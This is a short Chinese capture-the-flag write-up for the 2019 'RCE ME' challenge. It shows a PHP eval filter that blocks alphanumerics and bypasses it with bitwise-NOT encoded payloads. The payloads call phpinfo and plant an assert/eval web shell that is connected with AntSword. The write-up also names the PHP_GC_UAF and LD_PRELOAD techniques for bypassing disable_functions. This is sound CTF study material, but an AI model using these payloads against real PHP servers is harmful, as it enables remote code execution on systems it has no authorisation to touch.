[极客大挑战 2019]RCE ME
知识点
- LD_PRELOAD
题目给了源码
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
构造取反读取phpinfo
<?php $s = 'phpinfo'; echo urlencode(~$s); #%8F%97%8F%96%91%99%90 ?>
payload
?code=(~%8F%97%8F%96%91%99%90)();
读取到phpinfo页面,发现disable_functions禁了很多函数
构造取反连接蚁剑
<?php
$a = 'assert';
echo urlencode(~$a)."\n";
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>
使用蚁剑连接
http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); 密码:cmd
看到根目录下存在flag和readflag文件
应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了
我们可以通过蚁剑的绕过disable_functions来执行
这里选择PHP_GC_UAF
以上是非预期解,参考https://www.cnblogs.com/yesec/p/12483631.html
预期解应为通过环境变量LD_PRELOAD+mail劫持so来执行系统命令